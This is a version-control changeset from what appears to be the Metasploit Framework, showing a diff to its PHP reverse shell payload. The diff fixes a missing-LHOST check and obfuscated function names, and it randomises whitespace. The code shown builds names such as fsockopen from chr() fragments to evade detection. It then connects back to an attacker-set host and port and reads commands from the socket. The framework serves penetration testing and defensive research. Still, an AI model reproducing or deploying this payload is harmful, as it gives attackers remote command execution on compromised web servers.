Changeset 5430

Show
Ignore:
Timestamp:
03/04/08 14:50:39 (5 months ago)
Author:
egypt
Message:

Fix empty LHOST problem and space generation

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/payloads/singles/php/reverse_php.rb

    r5429 r5430  
    6969        def php_reverse_shell 
    7070 
     71                if (!datastore['LHOST'] or datastore['LHOST'].empty?) 
     72                        # LHOST should always be set when we get here...  but in case it isn't, 
     73                        raise Rex::ArgumentError, "LHOST is required" 
     74                end 
    7175                ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first 
    7276                port = datastore['LPORT'] 
     
    8084                $port=#{port}; 
    8185                $_=chr(95);$a=chr(97);$b=chr(98);$c=chr(99);$d=chr(100);$e=chr(101); 
    82                 $f=chr(102);$h=chr(104);$i=chr(105);$l=chr(108);$m=chr(109);$n=chr(110); 
    83                 $o=chr(111);$p=chr(112);$r=chr(114);$s=chr(115);$t=chr(116);$u=chr(117); 
    84                 $x=chr(120);$y=chr(121); 
     86                $f=chr(102);$h=chr(104);$i=chr(105);$k=chr(107);$l=chr(108);$m=chr(109); 
     87                $n=chr(110);$o=chr(111);$p=chr(112);$r=chr(114);$s=chr(115);$t=chr(116); 
     88                $u=chr(117);$x=chr(120);$y=chr(121); 
    8589                $disabled=@ini_get($d.$i.$s.$a.$b.$l.$e.$_.$f.$u.$n.$c.$t.$i.$o.$n.$s); 
    8690                if(!empty($disabled)){ 
     
    139143                $command=NULL; 
    140144                $nofuncs=$n.$o.chr(32).$e.$x.$e.$c.chr(32).$f.$u.$n.$c.$t.$i.$o.$n.$s.chr(32).chr(61).chr(40); 
    141                 if(is_callable(@f.@s.@o.@c.@k.@o.@p.@e.@n)and!in_array(@f.@s.@o.@c.@k.@o.@p.@e.@n,$disabled)){ 
     145                if(is_callable($f.$s.$o.$c.$k.$o.$p.$e.$n)and!in_array($f.$s.$o.$c.$k.$o.$p.$e.$n,$disabled)){ 
    142146                        $sock=fsockopen($ipaddr,$port); 
    143147                        while($cmd=fread($sock,2048)){ 
     
    165169                END_OF_PHP_CODE 
    166170 
    167                 shell.gsub!(/[\t\n]+/, "\t") 
    168                 # spaces are important but there's no need for tabs and newlines, so 
    169                 # randomize them bit 
    170                 shell.gsub!("\t") { |s| 
     171                # randomize the spaces a bit 
     172                shell.gsub!(/\s+/) { |s| 
    171173                        len = rand(5)+2 
    172                         set = "\x09\x20\x0d\x0a" 
     174                        set = "\x09\x20\x0a" 
    173175                        buf = '' 
    174176